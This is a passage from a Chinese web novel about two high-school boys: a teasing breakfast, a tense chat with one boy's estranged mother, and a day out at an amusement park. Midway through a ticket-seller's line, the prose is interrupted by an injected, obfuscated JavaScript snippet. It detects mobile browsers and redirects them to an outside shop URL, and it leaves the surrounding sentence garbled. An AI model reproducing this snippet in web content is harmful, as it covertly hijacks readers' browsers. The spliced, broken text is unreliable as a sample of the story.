阮牧年端着早餐出来了。今天的早餐是夹层吐司配燕麦,吐司里夹着青菜鸡蛋和肉排,还挤了沙拉酱。 桑群问:“几点起的?” “没多久,”阮牧年喝了口燕麦,“也就比你早半小时吧。” “倒是你,”阮牧年转过头,“刚刚忽然笑得那么开心,做什么美梦了?” 桑群轻哼一声:“嗯,梦见有人往团团肚子里塞棉花。” “……所以只是在嘲笑我吗?” “没,很童趣,不是吗。” “你还反讽!” 桑群摸了摸他的脑袋。 刚炸毛的阮牧年很快就被顺毛了,跟他讲起别的:“昨晚的碗我早上洗了,现在这些就是你的了。” “好。” “这个是我昨晚梦到的新菜式,你觉得怎么样?” “好吃,多做。” “四个字,”阮牧年凑近他,“不再想想?” 桑群刮了刮他的鼻梁,无奈道:“再夸就上天了啊。” 阮牧年看着他,垂了垂眼:“我昨天……有点情绪失控,挺烦人的吧……我……” “不烦人,”桑群说,“喜欢哭的人很久没哭了,哭一下不丢人。” “我哪里喜欢哭了,”阮牧年中断反驳了他一下,才继续说,“就是,我就是想问,你昨天说的话是认真的吗?” “什么话,”桑群偏头,“想去哪里你决定,不是哄你。” “不是这个,是……你说总会有人那什么……的,那句。” 桑群停下拿燕麦的动作:“是什么让你觉得我会在这种事上敷衍?” 昨晚桑群那句“总会有人去爱你,包括我”,如今回忆起来,让阮牧年有些脸热。 “你不觉得有点尴尬吗,”阮牧年低低地说,“就像两个相恋的人在表白,我喜欢你啊你也喜欢我,不顾一切地许诺永远,然后紧紧地拥抱就可以再不分离。” 桑群拿着吐司没有说话。 父母的经历终究成为了阮牧年心中最深的黑洞,迅速的热恋、冷却后的决绝,令他对爱情,甚至是其他类似的感情产生了不可名状的恐惧。 激情浓意反而不能打动他,厚重的情感会让他产生负担,说爱就是如此。 桑群说爱他,有多爱?能爱多久?什么时候结束? 一旦引发后续的一连串疑问,害怕就会像蚂蚁一样密密麻麻地爬上来,缠着他不断去想要用多久才能接受分别。 骨子里天然不相信永恒的事物,所以呼吸的每一秒都在感受无法预料的未来带来的煎熬。 桑群把吐司放回碗里,伸手轻轻拍了拍阮牧年后背。 “冒昧问一下,你父母什么时候有了你?” 阮牧年想了想:“刚结婚没几个月吧,亲戚们总是惋惜他们曾经多么恩爱。” “那我们又认识了多久呢?” “……” 阮牧年没有说话,并不是答不上来,而是有些后悔自己问出这样的问题。 但桑群不像昨晚那样有些微愠,他只是用那双沉静的黑眸看着自己,目光很专注,是一种让人很安心的注视。 这次桑群没有去抱他。拥抱于阮牧年而言,既渴求又抗拒,他需要用拥抱填补缺失的安全感,可也正是拥抱后的分离让他丧失安全感。 所以他只是轻拍着阮牧年的后背,幼时不可一世的小霸王如今已练就了一番熟稔的安慰话术。 那是独属于阮牧年的一腔温柔。 “短时的情感让人难以信服,这是很正常的。可这么多年过去,还是无法在你心里留下些什么吗。” 阮牧年低着头,左手摩挲着桑群的睡衣衣角,还是没说话。 桑群用指尖点了点他的脸蛋:“大早上的,不要哭啊。” “没哭,”阮牧年抬眼,嗓音确实蛮平静的,“我只是觉得你的生活已经够辛苦了,还要塞得下我,会很累吧。你今天本来可以不出去。” 逃避了啊。 阮牧年逃避了上一个问题,向他抛出了一个新的、更好解答的问题。 也是,有些心结是难以用一两句话解开的。再深的爱,再长的时间,都不可以。只有让他自己在实感中与过往和解,才能抚平这道陈年旧疤。 “爱总会伴随着责任,承担你们不算什么。” “昨天白天都不在,”阮牧年捏了捏对方的小臂,“酸吗?” “还行,”桑群说,“比你临时锻炼的体格健壮多了。” “就知道拉踩我,”阮牧年撇了撇嘴,捏着桑群的下巴给他塞吐司,“吃都堵不住你这张毒嘴。” 桑群:“嗯唔?” 他后仰逃离这突如其来的袭击:“干嘛,这是你的吐司。” 阮牧年愣了一下:“是哦。” 他放下自己的,拿起桑群碗里的,伸长胳膊抓他:“别跑,昨天太丢人了,今天哥哥来照顾你。” “别塞别塞别塞,”桑群倒在沙发扶手上,赶紧双手钳住阮牧年伸过来的罪恶之手,“我吃,吃完再说话。” 阮牧年还在使劲:“张嘴,啊——” 塞满口腔的吃法太不雅观了,桑群誓死不屈,顽强抵抗。 阮牧年骑在他身上,忽然想到了什么,默默爬下去把桑群的吐司放回碗里。 桑群松了口气,老实拿起吐司安静吃饭。 吃一半搁下,是对阮大厨的不尊重,桑群再次深刻吸取了教训。 快吃完的时候,阮牧年放下燕麦,手肘轻轻怼了一下桑群的腰。 “诶。” “怎么了?”桑群问。 “今早我起来的时候,”阮牧年挠了挠耳鬓,说,“……你顶到我了。” 桑群:“。” 这是很正常的事情,阮牧年不会不知道,但这种时候忽然提这个是什么意思? 说得也挺不好意思的,想表达什么? 不知道怎么回他,桑群只好以自己的风格顺下去:“……撞坏你了?” “嗯,”阮牧年煞有其事地点头,“撞了好大一个洞!” 桑群:“……?” 自己这么厉害? 阮牧年掀起衣摆,向他展示自己的伤势。 桑群目光看过去,看到了—— 肚脐眼。 阮牧年的肚脐眼。 桑群:“……” 阮牧年放下衣服,歪着头:“不好笑吗?” 他觉得这个笑话很巧妙啊。 桑群:“哈、哈哈。” “那这个算什么,”桑群决定让他见识一下真正的黄色笑话是什么样的,“吻痕吗?” 他拉开自己的衣领,露出锁骨。 “有吗,”昨晚自己好像确实亲了亲桑群的锁骨,但没用力啊,不应该留下痕迹吧,阮牧年凑近看了看,“在哪里啊……唔。” 桑群兜着他的后脑,用力把人按到自己身上。 等阮牧年揉着额头坐直,桑群指着他刚刚砸到的地方,面不改色道:“现在有了。” 阮牧年:“……” “……啊,比不过你,”阮牧年捂着自己微微发烫的脸颊,伸脚踢他,“洗碗去。” 桑群轻哼着收拾桌面,临走还腾出一根手指在阮牧年脑袋上点了点。 阮牧年抱着脑袋在沙发上坐了一会儿,开始在凌乱的薄被里找手机。摸了一通在沙发缝里找到了,按开看看,还有丝电,还能用。 赶紧开了省电模式,他按开打款通知,没有备注。 又到聊天软件里看了一眼,有一条来自妈妈的新消息,是昨晚半夜发的,那时候他和桑群已经在床上了。 【妈妈:接下来会有些忙,怕忘记给你生活费昨天干脆都发了,收到了吗】 他深吸一口气,开始打字。 【Ruann:收到啦[愉快]】 【Ruann:再忙也要注意身体呀,预先祝你新婚快乐啦,妈妈[玫瑰]】 聊天框上面忽然跳出“对方正在输入……”。 【妈妈:我跟公司申请了年假,等忙完这阵估计会有一段空闲时间】 阮牧年的掌心有些出汗,妈妈很少跟他讲起自己的日程安排,只会告诉他发生了什么。 比如要结婚,她也只是透露了这个结果,没详细说是哪天,在哪里,对象是什么人。 聊天框上的“对方正在输入……”亮了一会儿又变回正常的备注名,阮牧年有些忐忑。 但冷场不是他的风格,阮牧年只好用轻松的语气缓和气氛。 【Ruann:哈哈那很好啊,是要跟叔叔出去玩嘛】 仿佛才下定决心,妈妈的消息紧随其后。 【妈妈:我们也很久没见面了,找个时间吃顿饭吧】 悬在屏幕上的拇指颤了颤,阮牧年盯着这条消息,头一次感觉自己读不懂汉字。 【妈妈:差不多是国庆之后,你看哪天有空提前说一声就好】 【妈妈:就是闲聊几句,顺便带你见见老徐】 桑群擦着手从厨房出来的时候,收获了一尊僵坐在沙发上的年年小石人。 “怎么了?” 习惯性想揉他头发,又怕弄乱会被打,桑群微凉的指尖只好落在阮牧年的后颈,上下抚摸了几下。 “桑群……”阮牧年抓住他的衣摆,声音带着慌乱,“怎么办,妈妈要跟我吃饭,我怎么回她啊……” 桑群:“什么?” 阮牧年把他拉到自己旁边,给他看聊天框。 “……” “你想去吗,”桑群把手机还给他,说,“想去就答应,不想去就找个理由推了。” “她为什么要请我吃饭?”阮牧年垂着眼,语速不由自主地变快,音调却低低的,“我们上次见面还是中考,小舅家的表弟也要中考,送不了两个人,她才来接送我……那次我们都没一起吃饭,今年也不是高考啊,最近有发生什么大事吗?她为什么唔唔。” 桑群单手捏住阮牧年的两边腮帮,说:“冷静点,吃个饭而已。” “……我已经记不起来上次跟她同桌吃饭是什么场景了,”阮牧年鼓了鼓腮帮,把桑群的手指弹开,然后说,“妈妈那样的人,哪有功夫找人吃个闲饭,她肯定有话要说,她想跟我说什么?” 桑群无语:“我怎么知道。” “桑群,”阮牧年牵住他的指尖,轻声,“怎么办啊。” 桑群感受到他的手指正在微微发颤,于是反手用力握住那只手,拇指顺着手背划拉着。 “你心里不是有答案了么,”桑群说,“想去就去吧,不要担心会不会听到什么令你难过的话,大不了回来哭一顿。” “我没那么爱哭……” “嗯,你最坚强了,”桑群说,“我本来今天不需要洗衣服。” “……” 阮牧年深呼吸了几下,手指悬在键盘上空半天,敲不出一个字。 桑群拍了拍他的肩膀:“我去换衣服。” 阮牧年点点头。 既然要出门,还是陪小哭包出门散心,干脆穿点清爽的,看着也舒服。 桑群从衣柜里掏出浅蓝套衫和米色运动短裤,配色很治愈,不错,阮牧年穿什么? 他又翻了翻,居然找到了一件粉色的卫衣T恤,貌似是之前阮牧年网购买的,结果商家发错颜色了,最后被埋葬在衣柜深处。 可以,粉色很可爱,配个什么裙子……不是,配个什么裤子好呢? 找到了,阮牧年专属阳光帅气系列的白色运动裤,裤口是收束型的,会露出脚踝,显得整个人非常笔挺。 等桑群换好衣服手里拿着给阮牧年挑的衣服出来后,沙发上的人丝毫没有变动姿势,他探头一看,聊天框还是之前那个样子。 这么难回复吗? 桑群把衣服放下,伸出手指戳了戳阮牧年的脸蛋,又指了指手机屏幕,说:“‘好啊好啊,那我到时候看看哪天有空,玫瑰’,至于想这么久吗?” “我现在发的话,跟妈妈的上一条消息差了五分钟,”阮牧年说,“我是不是得解释一下为什么没有及时回复,要怎么说?说我在犹豫?” 桑群:“……啧。” 他弹了阮牧年的脑门一下,趁对方缩头的功夫拿走手机,手指快速敲了两下,把手机递回阮牧年面前。 剪贴板里躺着两条新内容。 【不好意思啊刚刚在换衣服】 【好啊好啊,那我到时候看看哪天有空[玫瑰]】 桑群:“发。” 阮牧年有点犹豫:“要不要……” 桑群:“嗯?” 阮牧年:“哦,发了发了。” “不要这么看着我,”阮牧年低头粘贴发送,“要吃了我啊。” 桑群:“一个哪够。” 阮牧年:“?” 他震惊抬头,眼睛瞪得圆溜溜的。 桑群日常从拌嘴中得到愉悦,眼尾微眯,然后把衣服扔到阮牧年头上:“赶紧换。” “什么意思啊你,”阮牧年闷闷的声音在衣服堆里响起,“口气这么 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阮牧年从卧室门口回头,笑着说:“你穿一定好看。” 桑群:“……不要太磨蹭,已经快九点了。” “好嘞!” 桑群捂住额头,怎么回事啊桑群,这就被拿捏了吗? 但看惯了阮牧年八面玲珑的假笑,这样的笑容反而更令他不忍破坏,想要多维持一会儿。 桑群在沙发坐下,长叹了一口气。 算了,先看看中午吃点什么吧。 卧室里,阮牧年站在衣柜面前,手里攥着手机。 聊天页面的消息跟桑群提供的截然不同。 【Ruann:不好意思,刚刚在换衣服】 【Ruann:确实很久没见啦,不过我和叔叔见面是不是不太合适啊】 【妈妈:不会】 【妈妈:我们都想跟你聚聚】 可惜阮牧年已经不再是小时候那个傻傻信任所有亲人的话的小笨蛋了,他几乎瞬间就读懂了这些消息背后的潜台词。 有一件关乎他们三个人的事情,需要见面详谈。 会是什么? 这还用猜吗。 阮牧年长出一口气,最终还是选择了逃避。 【Ruann:现在刚开学事情蛮多的,国庆之后估计也要准备期中考了,要不下次吧,您先跟叔叔好好享受一下假期[太阳]】 发完这条,他迅速把妈妈设置为消息免打扰,再长按不显示该聊天。 先这样吧,今天要跟桑群出去玩,得开心一点。 桑群还在划拉本市美食,突然被从天而降的裤子袭击了。 掀掉罩在脑袋上的裤子,他回头:“干嘛。” 阮牧年趴在沙发背上,歪着脑袋说:“桑群,我们去游乐场玩怎么样?就三中附近那个,今年增添了很多项目。” “哦。” “吃完午饭再玩一会儿,他们差不多就要关了,然后我们去南城附近的一家咖啡馆吧,我去过,饮品很好喝。” “?去咖啡馆干什么?” “写作业啊,”阮牧年说,“你周末作业还没写呢。” 桑群:“。” 不是,这对吗? “不能回来写吗?” “可我想喝他们家的拿铁,”阮牧年说。 “我去游乐场,”桑群说出来自己都不愿意相信,“带作业出门?” 这像话吗? “不多啊,就三本,”阮牧年说,“我帮你塞好,你换衣服啊。” “不是……” 阮牧年决绝的背影将桑群伸出的尔康手甩在身后。 “……” 行吧,看看挑的裤子是什么货色。 阮牧年拎着桑群软塌塌的书包出来时,外面的人已经换好了衣服。 “好看,”阮牧年毫不吝啬夸夸,“你就应该穿粉色呀,显得有气色,黑色太阴森了。” 桑群:“哼。” “不要难过,”阮牧年将书包递给他,“想想,我买错色号的一套衣物在你身上找到了归宿,多么令人高兴的一件事啊。” “白裤子也是买错?那原本什么色?” “这个是有色差,”阮牧年比划说,“原本它应该是偏灰的白,结果收到却是个偏粉的米白,倒是跟粉色很搭,正巧呢。” 桑群觉得阮牧年一定很会看口红色号,反正他是看不出来白色和白色之间有什么区别。 在心里叹了口气,桑群只能继续:“……哼。” 阮牧年解开自己的睡衣纽扣边脱边说:“我是不是瘦了啊,睡衣好像变得宽松了。” 桑群:“再找找别的原因呢?” 怎么不想想自己那稀烂的洗衣手法。 人家好好的睡衣已经快脱形了。 桑群接过对方脱下的睡衣,翻出尾端的那处纽扣和对应的衣缝:“下次搓轻点,这里快开裂了。” “啊,”阮牧年套着桑群的浅蓝套衫,“我没用力啊,就是多搓了几下,不是说衣摆容易脏吗。” 桑群:“……洗衣机多少钱。” 赶紧买一个吧,不然不是阮牧年没衣服穿,就是他自己得洗两人份的衣服。 “哎呀,”阮牧年把睡裤甩给他,“我下次会注意的。” 桑群看着他:“你怎么不把内裤搓大一号呢?” 阮牧年提到一半的裤子忽然顿住,直直跟桑群对视了两秒。 “对哦,”他说,“我搓的内裤好像还挂在阳台上。” 桑群:“?” “昨天拿的是你的,”阮牧年穿好裤子,给裤绳打了个漂亮的蝴蝶结,“难怪这么服帖,真舒服,嘿嘿。” 桑群:“……” “你和你的衣物,”桑群有心劝阻,无力回天,“离我的衣柜远点。” “我们就这一个衣柜,忍一忍嘛。” “忍不了一点。” “好吧,好吧,”阮牧年选择优先安抚对方的情绪,“那我们还是看看洗衣机什么价格吧。” “哼。” 出门前,阮牧年惯例跑去厕所照镜子整理仪容。 桑群单肩背着书包,黑着脸在玄关换鞋。 就在这时,厕所传来一声惊慌的低呼。 “啊——” 10. 10 “怎么了?” 桑群赶到厕所一看,阮牧年捧着脸站在那里,眉头皱成一团:“眼睛好肿啊,我不能出门了。” 桑群:“……还好吧。” “不好,”阮牧年苦着脸说,“我刚起来的时候它就是这副鬼样子,我特地洗了十遍脸,怎么现在还这样啊。” 桑群:“……照你这么搓,馒头都能变苹果。” 这是拿脸当衣服搓吗? “怎么办啊,”阮牧年过来揪他衣角,“桑群……” 桑群叹了口气,往他脑门上点了点:“待着。” 说罢转身去了卧室,从床头柜深处掏出了一个小收纳包,重新回到卫生间。 他拉开拉链,把瓶瓶罐罐从里面拿出来,摆在盥洗池边缘,然后说:“头低一点。” 阮牧年屈膝,余光去瞥这些瓶罐,问:“这是什么灵丹妙药吗?” “不是,”桑群把什么东西挤在了自己手上,然后蘸了一点往阮牧年眼周涂,“是化妆品。” 阮牧年:“?” 桑群捏了他一把:“别睁眼。” “张嘴可以吗?” “……可以。” 脸上抹开一阵清凉的触感,桑群的力度把握得刚刚好,很舒服,阮牧年问:“你怎么会有这种东西啊?” “呃。” “桑桑,你怎么还偷妈妈的化妆品呀?” “不是偷的,之前跟的一个大姐送的。” “所以是为什么?” “跟你一样,”桑群用掌心给他拍了拍脸蛋,允许他睁眼看世界,然后说,“能遮很多东西,伤、淤青什么的。” 阮牧年眨了眨眼,没第一时间接住他的话。 “现在很少用了,”桑群把东西重新装好,平静地说,“倒是能用在你身上。” 阮牧年从后面抱住他的腰,轻轻说:“我第一次知道。” 桑群哼笑:“当然要骗过所有人了。” “那以后再受伤的话,”阮牧年说,“来我这里养到痊愈再出去吧,就不用遮遮掩掩了。” 桑群默了一下,在他手背上轻挠:“嗯,知道了。” 阮牧年松开他,又照着镜子打量了自己一番:“看着有点惨白啊,是不是得抹点口红什么的?” 桑群:“……我没那玩意。” “噢,”阮牧年失望道,“那我只好多舔舔嘴唇了。” 会得糖尿病的吧,桑群在心里说。 把东西放回床头柜,桑群揉了把阮牧年的后脑:“走了。” “好好好,别弄乱我的头发,”他又抓了两下,才从镜子前退开,“走吧走吧。” 桑群跟在他后面关门落锁。 “去三中坐201,下一班还有5分钟就要到站了,”阮牧年查着公交状况,扯了扯桑群的书包带子,“要来不及了,冲鸭。” “什……嘶!” 桑群刚转过身,就被阮牧年抓着手腕带跑起来。 少年修长的双腿迈开步伐,在早上恰到好处的阳光下,踩着街边的碎石和沙尘,一前一后掠街穿巷。 只有三本书的书包还是太累赘了,桑群得抓着肩带才能避免奔跑过程中书包飞出去的惨剧发生。 阮牧年跑得很欢快,还有空回头:“你快点呀。” 瞧不起谁呢。 桑群加快步伐,瞬间超了阮牧年半个身位。 “嘿?” 阮牧年不甘落后,也追了上去,两人愣是把步行5分钟的路程跑出半分钟速达的成绩。 “你、你跑那么快干嘛啊,”终于跑到站台,阮牧年撑着膝盖喘气,“呼……公交还有四分钟呢。” 桑群在一旁一脸镇定,看似脸不红气不喘,实际胸腔正在缓慢且深重地平复气息。 还装,阮牧年伸出手指戳了一下对方的腹肌,桑群瞬间漏气,后退半步,长出一口气。 “憋得不难受啊?” 桑群:“呼……哼。” 爆发式运动累得快,恢复得也快,深呼吸几下阮牧年就缓过来了,问:“你带硬币了没啊?” “没,”桑群说,“有乘车码。” “哦,”阮牧年点点头,从口袋里摸出两个钢镚,递给桑群一个,“我带了,给你。” 桑群:“……今天走复古风?” “你以前有坐过公交车吗,”阮牧年说,“就是线上支付还没普及的时候,上公交,投一块硬币进去,哐当一声,你就可以乘车了,很有成就感。” 桑群想了想:“可能有吧,但硬币太吵了,我会选择带纸币出门。” “也是哦,”公交很快到了,阮牧年上车,郑重投下一枚硬币,跟司机叔叔打了声招呼,在后排双人座椅的靠窗处坐下,等桑群走近说,“更早的时候,还有乘车票,你记得吗?” 桑群坐下:“嗯……有点印象。” “公交车上会有很好看的售票员姐姐,手里捧着一块铁皮夹子,”阮牧年回忆着,“如果你坐车,她就会给你一张票,小小的很袖珍很可爱,不过我有点忘记那些票子是下车的时候被回收了,还是被我自己弄丢了……” “怎么还记得那么久之前的事?” “是啊,很早很早了,”阮牧年靠在椅背上,仰着头,“我小时候很勇敢呢,敢一个人坐公交车。” “多小的时候?” “小班?中班?”阮牧年闭着眼,唇角带着笑,“那时候爸爸妈妈还没离婚呢,虽然也快了。” 桑群看着他:“那都没到四岁,还能记得?” “我觉得我的记忆力很好啊,”阮牧年说,“我不是很想看庙会吗,其实不只是庙会,还有周边什么广场搭建舞台举办活动,我都想去看,可是爸爸妈妈很忙,我就只好自己跑出去了。” “第一次坐公交的时候,司机叔叔还问我是不是走丢了,”阮牧年笑了笑,“但我会拿硬币坐车,也知道目的地,才不是走丢的小孩子呢。” “年纪太小了吧,你那时应该连一米都没有。” “好像是哦?”阮牧年抓过桑群的手玩捏捏乐,继续说,“那个时候跑步都可能平地摔跤吧。我记得有一次我走太慢没赶上公交车,追在车屁股后面哭着喊司机叔叔停一下,可能有人看到我了,司机真的停下让我上了车。” 桑群捏回去,嗤了一声:“所以一看快到站就要跑?” “追车很累的啊,追过一次就再也不想追了,”阮牧年说,“现在能提前查时间,挺好的不是么。” “追不上也没事,”桑群说,“我跑得快,先上去让车等等你。” “刚刚是我拉着你跑诶,”阮牧年看回去,“我跑得更快吧。” “我背着书包呢,不然更快。” “不可能,”阮牧年反驳他,“我最快。” 桑群挑了挑眉,忽然妥协:“行吧,你是全世界最快的男人。” 阮牧年:“?” “好啊,居然在这种事上认输还玩文字游戏,”阮牧年抓住他的肩膀猛晃,“你怎么这么恶毒啊?” 桑群任他摇:“哼哼。” 阮牧年盯着他,为自己正名:“我不快。” 桑群目光戏谑:“哦?” 阮牧年:“……” “啊,”捂住发烫的脸颊,阮牧年无力道,“比不过你。” 桑群得意:“哼。” 几站后,201在三中站停下,他们下了车。 阮牧年戳着地图:“我开个导航。” 桑群忽然想起什么:“买票了吗?” 阮牧年顿了顿,抬眼看他:“你没买吗?” 桑群:“……忘了。” 光顾着看中午吃啥了。 “那我看……”他正要翻翻怎么购票,就被阮牧年抓住手制止了。 “嘿嘿,”阮牧年拉着他往前走,“没事,我有票。” 桑群挑眉:“早就买好了?” “嗯呐,本来暑假就想来的,但是看你很忙的样子,就没提了。” “想出去玩不用考虑我,”桑群回牵住他,“有什么想法就说,我安排得出时间都会陪你。” “耽误你怎么办?” “不会,”桑群说,“你没钱重要,没空就不陪你了。” 阮牧年笑了起来:“你好无情哦。” 从站台步行到游乐场差不多十几分钟的路程,走了一会儿阮牧年渐渐缓下脚步,左右看了看。 桑群:“怎么了?” “看,小树林,”阮牧年努嘴指了指人行道上平均间隔三米的树木,又把五指挤进桑群指缝扣紧,然后道,“这样像不像小情侣?” 桑群:“……” 槽点过多,他一时竟不知先嘲讽哪一点。 “怎么,”看着宽敞畅通无阻的街道,桑群实在升不起一丝旖旎情绪,“你要白日宣淫?” 阮牧年却只是摇摇头,又嘀咕道:“自古红蓝出cp,粉色和蓝色衣服,没穿错……” 桑群:“什么?” “没什么,”阮牧年坚定地抬起头,十指相扣带着桑群仿佛要走出一条康庄大道,“加油,我们就这样保持到游乐场内。” 桑群:“???” 带着满脑门问号,桑群跟着阮牧年以一种既亲密又莫名一派正气的姿势走到游乐场门口,然后被丢在接待中心,等阮牧年核销票据再一起进去。 明眸皓齿的少年脸挂笑意,将二维码递过去扫描。 售票处的大姐瞥了他一眼,确认道:“情侣双人票?” “是呀,”阮牧年示意身后招待大厅里等着的某位粉衣男士,笑着说,“我男朋友在那等着呢,姐姐,这套餐作数嘛?” 大姐一看,呦,也是个帅小伙,衣服还一红一蓝的,说没点关系她都不信。 都什么年代了,社会风气开放,大姐什么没见过,动作麻利地核销取票,道:“作数。给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356288|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去玩吧。” 少年一脸灿烂:“好,谢谢姐姐!” 目送俩小伙离开,大姐老脸一红,真是个讨喜孩子,嘴真甜。 桑群看着手里的情侣票——还是粉色女款——终于明白阮牧年一早上在煞费苦心些什么。 “凭什么我是你女朋友,”桑群伸手要抢阮牧年的票,“我要那个。” “诶嘿,没说你是女朋友啊,”阮牧年眨着眼睛躲开,笑嘻嘻道,“说你是我男朋友呢,粉色跟你很搭呀。” “‘凭此证可免费兑换玫瑰花一朵’,”桑群咬牙切齿,“没点内幕我不信。” “话不能这么说呀,”阮牧年举着手里的蓝色情侣票仰头读起来,“‘凭此证可免费兑换巧克力一包’,这能证明什么呢?” 桑群一把抢过蓝色票,跟粉色票一起揉了揉,塞进裤兜里。 “哎,”阮牧年还想拿回来,“免费的巧克力和花呢……” “急这一会儿吗,”桑群扣住他的手,抓着往游乐场内走,“走吧,还得享受二人世界呢,男、朋、友。” 阮牧年赖在他胳膊上走了一阵,扬起脖子轻声问了一句:“生气啦?” “没,”桑群负重前行,“你且乐着吧。” “这是要秋后算账吗?” “至于等到秋后?”桑群的脚步在某座建筑前停下,任凭阮牧年怎么拉扯都八风不动,“进去看看吧,多好玩啊这个。” 可怖的阴森鬼脸张着大嘴,猩红肥大的舌头从口腔伸出,巨口成了入口,舌头化作台阶,两颗眼珠上镶着艺术字招牌,写着“鬼屋”两个大字。 阮牧年的笑容从脸上消失,揪着桑群的袖子可怜兮兮道:“我错了,你才是男朋友,桑群最酷了,攻气十足,主人级别,男人中的男人,雄性中的雄性,公鸡中的战斗鸡……唔唔?” 桑群越听越迷惑,什么鬼,后面怎么连他的物种都变了,认错认得这么不走心? 赶紧捏住这张胡说八道的嘴,桑群说:“好了,先玩什么?” “先从这里离开,”阮牧年拽着他快速逃离,然后看着岔路口的指示牌眼睛一亮,“我们去坐旋转木马吧。” 桑群:“?今年多大了,年年公主?” “比你年长几个月吧,阿君羊勇士,”阮牧年笑着说,“是时候随公主征战四方了!” “骑白马的话,我为什么不是王子?” “王子和公主都是一见钟情的呀,”阮牧年说,“他们在相爱之前都不认识对方。但勇士不一样,勇士会一直守护公主,从小到大。” 桑群微怔:“嗯,公主慢点,别把高跟鞋跑断了。” “没事的,”阮牧年迎着风说,“勇士会修好公主坏掉的一切东西。” “这是勇士还是老妈子?” “哈哈哈哈,”阮牧年笑说,“不知道,但公主是什么都不会做的饭桶。” “……花瓶吧,也不用把自己说成这样,”桑群说,“勇士吃的比公主多呢。” “好吧,饭桶勇士,”阮牧年看见了不远处挂着旋转彩灯的游乐设施,加快脚步,“随着花瓶公主征战天下吧。” 真是见鬼了,桑群坐在马车上的时候想,谁家十七岁的高中生还在玩旋转木马啊? 阮牧年挑的白玉天马双人宝座,在旋转木马的二层,是整个场景里最豪华的坐骑。 他仰着头,顶部的圆盘边缘挂着垂下来的彩色飘带,他一伸手就能够到。 “你知道吗,”阮牧年依旧看着那些飘带,对桑群说,“我以前一直以为,这些飘带是从天上垂下来的。旋转木马转啊转,总会转到云层上去,有些孩子被家长托举着,能伸手够到飘带,就比别的孩子先一步接触天空。” 桑群侧目,说着话的少年笑意浅淡,眼眸倒映着天穹的底色,那里面清澈透亮,却也碧空如洗。 “你看,”阮牧年伸着手回头,“我也能够到了。” 只是用了好久好久,从孩子长成少年,从天真走向清醒,从迟钝变得圆滑,也终于明白世间诸事皆有捷径,他却总是盯着最遥不可及的那条路,因此深受其害。 桑群说:“那我也够到了。” 这人都没伸手,阮牧年问:“你够到了什么?” 桑群抬起他们牵着的手,说:“我够到了来自天空的孩子,尊贵的年年公主,比飘带幸运吧?” 阮牧年愣了愣,收回举酸的手臂,哭笑不得:“什么啊。” 桑群捏了捏他的手指,没有继续说下去。 生活在大地上的孩子们向往天空,一点点难以企及的高度都能叫人兴奋。 多少人努力踮起脚尖,就为触碰遥在云端的天空。 但年年不一样。 因为他本就是来自天空的孩子,不是为了重回天上来到这里的,而是为了俯看凡尘才降临在这人世间。 所以不需要羡慕别人,在他这里,阮牧年才是应该被羡慕的那一个。 11. 11 跟着阮牧年跑了好几个平均游玩年龄五岁往下的游乐设施,桑群的接受程度已经大大提高。 阮牧年拿着园区免费发放的地图册,用铅笔给玩过的项目一个个打上勾。 见他还要继续玩,桑群弹了一下他的脑门:“没完了?吃饭去。” “啊,”阮牧年捂着额头,“吃啥?” “跟我走。” 没走两步就停下了,阮牧年拉了拉他的衣角:“桑群,我想吃棉花糖。” 桑群:“……下午再来吃不行吗,现在是饭点。” “棉花糖不能当饭吃吗,”阮牧年的目光黏在不远处做糖的摊子上,走不动道,“你看,它那个糖不是球形的,居然是个猫猫头!” 桑群叹气。 吃,狠狠地吃,看看是某人先腻了还是棉花糖惨遭消灭。 桑群走过去,问都没问就要了个白色的兔兔头棉花糖回来,递给阮牧年。 “什么味的啊?” “牛奶。” “好哦,”阮牧年轻轻咬了一口,等绵软的糖丝在口腔迅速融化,又品了一会儿余味,才说,“你也来一口。” “不了,”桑群仰头后避,“太甜了。” “没有很甜啊,牛奶味耶。” 桑群心说,是沾了阮牧年味的棉花糖太甜了,简直糖分超标。 “行吧,”阮牧年一个人嚼嚼嚼,很快炫完一整只兔兔头,然后仰着头享受某桑姓强迫症患者贴心的擦嘴服务,“桑桑,我还想吃冰淇……唔。” 少吃点甜的吧,桑群掐着他的脸心说,快腌入味了都。 “去吃饭,”桑群语气不容置疑,“往前走,不要东张西望。” 阮牧年绕到桑群身后,把他的卫衣帽子翻过来,脑袋塞进去,黏着桑群后背说:“这样可以嘛?” “别捣乱,”桑群不轻不重地拍了一下他的手背,“正经走路。” 阮牧年只好钻出来,舔了舔嘴唇,棉花糖的香甜还停留在舌尖,他说:“我想吃糖醋里脊。” “嗯,”桑群牵着他继续走,“还有呢?” “全是荤的可以吗?” “至少一道素的,”桑群说,“凑合搭配一下。” “回锅肉有吗?可乐鸡翅可以吗?”阮牧年自动忽略后半句,不耻下问,“那梅菜扣肉荔枝酥肉蒜台炒肉唔唔唔?” 桑群忍无可忍,捏着他的嘴压低嗓音:“闭嘴,我点什么吃什么。” 阮牧年:“呜。” 给点阳光就变食人花了,桑群心累地想,或许他爸爸妈妈离婚是对的,这小孩要是从小就被宠爱着长大,得娇纵成什么样? 像现在这样就刚刚好,他一个人宠着阮牧年,不多不少。 在桑群的专制独权统治下,阮牧年遗憾地接受了四菜一汤、荤素均匀的午餐。 下午的计划是去探索剩下的游玩区域,阮牧年发现了一处露天电玩区,玩每台机子都可以获得塑料小票,积攒到一定数量可以兑换礼品。 礼品里面有玩偶,阮牧年不走了,开始在机子之间流连。 桑群抱臂站在他旁边,看某人屡战屡败屡败屡战,等游戏币花得差不多了,再上手帮他通关。 “好玩,”自己努力了这么久,虽然最后接受了场外援助,但看到一整沓票子还是很有成就感,阮牧年说,“我感觉差不多啦,你去换礼品。” 桑群不解:“为什么不一起?” “礼品兑换的地方跟我们的路线是相反的,”阮牧年指着地图册给他看,“你去换,我继续往前走,在这个路口等你怎么样?” 就是懒得多走一段呗,桑群叹气:“哦。” 桑群拿着满手的白色小票子——有的甚至拖到了地上——来到一间小房子面前。 工作人员微笑:“有什么可以帮助您的?” 